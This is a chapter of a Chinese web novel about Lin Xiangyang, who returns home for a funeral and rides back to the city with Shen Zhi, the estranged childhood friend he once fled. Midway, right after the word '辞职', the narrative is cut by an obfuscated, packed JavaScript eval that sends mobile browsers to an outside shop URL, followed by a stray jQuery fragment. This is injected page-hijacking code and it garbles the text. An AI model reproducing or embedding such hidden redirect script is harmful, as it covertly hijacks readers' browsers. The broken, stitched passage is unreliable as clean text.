他只记得小时候两人同为留守儿童，父母一词成了摆设。
两个人也就特别亲近。
沈家零几年就已经建了楼房，当时流行的白瓷墙砖，远远看过去，就能看到他们家崭新的墙面。楼下住了老人，二楼贴了瓷砖。
他每个周末不怕麻烦地跑十分钟到村口的沈家，跟着沈致楼上楼下，晚上偶尔留宿。
冬天一个被窝，夏天受不了了，两人就不辞辛劳，打了水上楼，将房间地面的每个缝隙都拿抹布擦干净。
而后抱了枕头，就睡在地上。
没人觉得地板很硬。
沈致的公婆在家种了草莓，他们在地里摘了草莓就往嘴里塞，路过又掐一把香葱就回家煎鸭蛋当零食。
香葱很冲，他们切完葱，基本就要哭着去抽水泵旁边洗手、洗脸、玩水。
夏天还有喜欢的巧克力冰糕吃，他们躲在二楼的燕子窝下吃冰糕，家长喊人他们也不应。当时，林向阳连几毛的小冰袋都不能买。
林向阳笑了下，短暂急促。
幼时经历他没放在心上，现在回想，原来早就有迹可循。
总之……如今差距越大，仅凭这些判断和推测，他就知道了什么叫云泥之别，这一切都叫林向阳感到深深的羡慕和无力。
到底是多幸运才投到这种人家。
如果是他，在这样的家里，他也能长成沈致这样……
他像是阴暗里窥伺幸福的老鼠，连路过都会吓到旁人。
脚上带着泥点的鞋面，用力也拍不干净的脏污裤腿。
林向阳在路边使劲儿蹭了蹭泥巴，才让自己的脚底好看点儿，再拿湿巾狠擦了鞋侧。
一时间，他像是即将被老师抽查作业的学生，额上冒汗了。
踏进车门，他坐下来，腿收好，两只脚规矩并拢，将自己严格控制在狭小范围。
安全带从左肩勒过胸口，卡在腰侧，他感觉自己好像被绑得不能动弹，他身体绷得笔直，忍不住想自嘲。
这都叫什么事儿。
如果不搭这趟车，是不是不用这样了。
他被放进了沈致的世界。
林向阳有些忍不住，心情一直很糟糕，糟糕到快窒息的程度。
沈致看了他一眼，声音平缓，没有居高临下的意思，“你不用这样拘束，车子就是拿来坐的。”
林向阳敷衍地嗯嗯两声，不知道听进去了没。
又过了一会儿。
沈致问：“你饿了吗？要是晕车还有橘子，你剥一个橘皮放在鼻下闻。”
林向阳客气说不饿。
走到半路，林向阳看到村委，又让沈致停车，他去开了一张死亡证明，那天书记有下乡看情况，证明很快开出来，他顺便去派出所注销户籍。
就这样耽搁了半个多小时。
匆匆回来，看到沈致还在车上等他，林向阳翻覆的情绪，好像又淡了许多。
想起刚才沈家父母说沈致请假回来的事。
林向阳问，“你不在家过年？快除夕了。”
“公司的事没处理完。”
“不是说直接放假了？”
“嗯，放了，然后有事了。”
这话听起来想胡扯。
林向阳沉默地像是连呼吸都给桎梏了。
离除夕还有三天，如果公司好，提前放假也是有可能的。
推测沈致职位不低，位置无可替代，不能远程处理，必须回去。公司没忙完就离开，还那么巧的时间，只能是请假了。
有种莫名的念头在心里滋生，他不敢多想，连存在感都调到最低。
没多久，沈致问，“你现在和对象住在一起？”
“嗯。”
“他多少岁？做什么的？哪里人。”
林向阳身体又坐直了些，他嗓音含笑，“我叫你一声哥，你不会真以为当我哥了吧。”
“他对你好吗？”
林向阳沉默了更久，脑子里面思维极其活跃，但总是瞬息之间，他也抓不住。
他捂着嘴低低的笑。
“我们能不能老死不相往来。”
“不。”
“沈致你不道德。”林向阳说：“你开口之前，问问你自己想干什么。”
“想知道你过得好不好。”
“管好你自己。”
“好。”
许久后，林向阳才说了一句：“他对我挺好。”
两人结束对话。
车驶离国道，离开市区收费站，驶向高速路。
从市区到省城需要四个半小时，如果不堵车。
回来的时候感觉路况陌生，回去的时候，林向阳就差不多心里有数，看着窗外的景色，五个小时的车程，铁腚也得坐废。
话题聊死了，两个人跟哑巴一样盯着前方。
沈致开车很稳很平，不会因为出现意外而怒路症，也不会加速到肾上腺素飙升，音箱里放着轻音乐，偶尔来两首名家作品。
林向阳记不得多少名字，他也欣赏不了这些，连夜的疲惫让他困顿得眯上了眼睛，但很快，他头脑就清醒了。
这是在高速，不能睡。
沈致在开车，万一……他又打开抖音，夸张声调的视频在车内嘈杂响起。
林向阳用吵闹打破尴尬氛围，他的体验感甚至连上个行程都不如。
至少林向阳在来时路上，把顺风车司机娃儿多大，念哪所高中，成绩排名都打听清楚了。
知道林向阳是回去奔丧的，司机还跟他说了好多，什么看看家里老人藏钱的地方，一定要让家里兄弟姐妹一起分，不然他们都觉得钱被谁独吞了。
他家就他一个独子，还好，不用和谁闹崩关系。
也不用去找老头的钱财。反正也没几个。
但他没说，他只是乐于听司机说其家里旧事。
开了两个多小时，沈致下服务区，带林向阳吃了个简餐。
林向阳没跟人假客气，几口吃完，感觉胃里暖融融的，然后笑着说谢谢。
沈致也笑着说不用谢。
再上车的时候，沈致已经说起前几年的初中同学会。
“都初中的同学，你还有联系？来了哪些？”
“嗯，以前关系好的那些。”沈致说，“他们很多都结婚了。”
“哦，也是。”
沈致点点头，“之前高中那会儿不是说陈敬去学挖掘机了，后来又去了新疆，我们还说让他带葡萄干回来。”
“我想起来了。”
“嗯，他也结婚很早。”
“挺好。各有各的活法。”
小学——初中——他们一直同班，朋友圈都是重叠的。
考入区重点后，高二分科，两人一文一理，被迫分开了。
“我姐姐前几年结婚了。”
“噢。”林向阳说：“恭喜”
“她今天抱的孩子就是二胎。”
林向阳想起来刚刚看到的女人。
“噢噢噢，恭喜恭喜。”
“房子也是他们在住。”
“那很好了。”
林向阳接了一句，但话还是落在了地上。
沈致的语气低沉、犹豫，“有一年我看到一个和你很像的人。”
林向阳摸了摸自己的脸，笑：“大众脸，没办法。唉。不像你。”
“你不想见我。”
“你得接受一个事实，你不是毛爷爷。不能人人都爱。”
“嗯。”
他们的对话像是被划上的老旧CD，跳帧，卡顿，刚要顺下去，又断了。
林向阳闭目养神，想到一九年开年，冬天，他已经多年没回家过年。毕竟节假日工资高——这当然是借口。
他上班的时候，恍惚看到个人，神似沈致，因为灯光偏暗，那人也不是显眼的寸头，他并没能及时分辨。
但下意识地，林向阳心脏猛跳，反复想了许久，他连觉都不睡，拿了两件衣服连夜逃走。甚至都没来得及和老板交代。
路上又给老板发信息。辞职
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974685|214728||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
没两天老板发打电话，“向阳，他不会真是你朋友吧。来我这求了好多天了。唉。你放心，我什么都没说。”
林向阳得知这信息，说不出来是什么样的心情。下意识地，就算满身名牌也没能将他的自卑掩盖。
再不久，老板又发信息：“唉，我真的拿他没办法了，一连好多天就坐在那里，点杯酒，也不说话，你上去问他，他又点一杯，又不会喝酒，呛得咳嗽，我真怕他背过气去了，到时我们这要摊上人命咋办。这大过年的。”
林向阳回：“你说不知道，让他走。”
一天后，老板发：“唉，我说了，我真的服了，也不像是你欠了他钱啊。他不会在追你吧。”
再过两天，老板发信息：“我已经帮你打发了，我说你北漂去了，他这两天已经没来了。”
那一次是这十年里，他离沈致最近的一次。
没有相认，没有后续。
他的呼吸沉重，每一声仿佛都在叹息。
在这样的警惕，期待，又反复落空的心情中，进入省城收费站。
林向阳说了个小区的名字，是省城的老区这边。
不太顺路，但沈致淡定地嗯了声，又继续往地方开。
只是这一路他神经紧绷，注意着周遭环境，仿佛把走过的每一条路线，都刻录在脑海里。
天也黑透了，也是中途吃了饭，林向阳并不饿，精神也还好。
终于看到了熟悉的小区门口，林向阳松口气。
这边不像新城区，很多店铺都关了门，除了一些小餐馆。
林向阳扫视了一圈小区门口，就听到沈致问，
“你饿了吗？”
林向阳表示自己吃得很饱，坐车不消耗体力没饿。
顺便对他表示了感谢，就下车提自己的行李。
沈致也站在车边，跟着林向阳绕着车转了半圈，他像是有话说的样子，但他半个字都没说出口。
林向阳只看到了他眼里的急迫，目光灼灼，沈致这样的神色叫林向阳没来由的慌张，他按着行李箱的拉杆，说了再见。
临走之际，沈致将林向阳叫住，然后点开手机二维码，加了他的微信。
沈致通过，改了备注，忽地问：“你这些年，是不是没用过QQ？”
林向阳愣了一下。
“以后常联系。”沈致抬了抬手机说。
林向阳故作淡定点头。
但视线还是忍不住在沈致身上逡巡。
好像这一刻，他才有机会有时间打量对方。
沈致和记忆中的那个人变得两模两样。
他偶尔想起高中时期奋发图强的沈致，卤蛋硬茬头，天天穿着工整的校服，严谨刻板且循规蹈矩的模样。
青春期的沈致并不会打扮花枝招展，从不会注意别人是否有关注自己，他身上永远都是校服，这件洗了穿那件。每次想起，林向阳都能勾着唇角，心情愉快好半天
那时的沈致戴着黑框眼镜，度数不高，林向阳总喜欢抢来往自己的鼻梁上一放，一睁眼，清晰得过分的世界东倒西歪，头脑快要爆炸似的胀痛。
可现在的沈致已经变了模样。
身形也不似过往消瘦，衣品极好，肩线利落，每一处都妥帖，将男人的优势显现。金框眼镜取代旧日黑框，不再有曾经半分顿感，反倒衬出一种他从前没见过的从容。
是那种走在路上，他绝对会多看一眼的人。
只是，这样的人，不该被站在灰暗破败的老屋里，他只适配配豪车，配名牌，配一切富贵奢华的东西。
林向阳的目光掠过对方的手腕，也会下意识想，什么腕表与他的身份气质更适配。
他不该和自己站在一起。林向阳想。
他和老家破败的房子那样，沈致的出现，无时无刻不在提醒着他。这感觉太残忍，像是在刀削他的自卑。
长叹口气，林向阳带着笑容仰头，“那我走了，有机会再聊。”
“好的。有机会再聊。”